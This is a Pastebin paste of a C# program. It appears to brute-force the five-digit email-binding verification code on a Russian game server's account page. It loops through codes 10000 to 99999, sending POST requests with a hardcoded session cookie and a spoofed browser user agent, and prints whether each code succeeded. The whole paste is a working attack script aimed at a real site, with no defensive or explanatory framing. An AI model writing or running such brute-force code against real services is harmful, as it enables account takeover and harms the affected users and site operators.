Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Threading;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.Net;
- using System.IO;
- using System.Windows.Forms;
- namespace ConsoleApplication2
- {
- class Program
- {
- static int i;
- static void Main(string[] args)
- {
- i = 10000;
- //for (int i = 0; i < 3; i++)
- //{
- Thread myThread = new Thread(timerfucn);
- myThread.Start();
- //}
- Console.ReadKey();
- }
- static void timerfucn()
- {
- while (i < 99999)
- {
- try
- {
- string url = "http://beta.samp-rp.ru/%D0%B0%D0%BA%D0%BA%D0%B0%D1%83%D0%BD%D1%82/%D0%B5%D0%BC%D0%B0%D0%B9%D0%BB";
- ASCIIEncoding encoding = new ASCIIEncoding();
- string postData = "bind_email_code=" + i + "&submit=%D0%9E%D1%82%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D1%82%D1%8C&email=alexandr.3.3.3%40yandex.ru";
- byte[] data = Encoding.GetEncoding("UTF-8").GetBytes(postData);
- System.Net.HttpWebRequest request = (HttpWebRequest)System.Net.WebRequest.Create(url);
- request.Method = "POST";
- request.Accept = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36";
- request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36";
- request.Headers.Add("Cookie", "_ym_uid=1462375918591764910; _ym_isad=1; PHPSESSID=bje4cp4m1ubbd2k0nh8f5crfh5; _ym_visorc_1314509=w; __utmt=1; __utma=142386992.1901486700.1462375915.1464660250.1464668289.32; __utmb=142386992.7.9.1464672525768; __utmc=142386992; __utmz=142386992.1464570640.26.3.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)");
- //request.Headers.Add("Accept-Encoding", "gzip, deflate");
- //request.Headers.Add("Accept-Language", "ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4");
- //request.Headers.Add("Upgrade-Insecury-Request", "1");
- request.ContentType = "application/x-www-form-urlencoded";
- request.ContentLength = data.Length;
- Stream stream = request.GetRequestStream();
- stream.Write(data, 0, data.Length);
- stream.Close();
- WebResponse response = request.GetResponse();
- stream = response.GetResponseStream();
- StreamReader sr = new StreamReader(stream);
- string responsetext = sr.ReadToEnd();
- //responsetext.Contains
- //form.textBox1.Text = responsetext;
- if (responsetext.Contains("Укажите сервер"))
- {
- Console.WriteLine("неверные куки (не зашел в лк): " + i);
- return;
- }
- if (responsetext.Contains("[скрыто]@"))
- {
- // form.label1.Text = "код подошел: " + i;
- Console.WriteLine("код подошел: " + i);
- return;
- }
- else Console.WriteLine("код неверный: " + i);
- sr.Close();
- stream.Close();
- i++;
- }
- catch (Exception ex)
- {
- Console.WriteLine("ошибка запроса: " + i);
- continue;
- }
- Thread.Sleep(500);
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement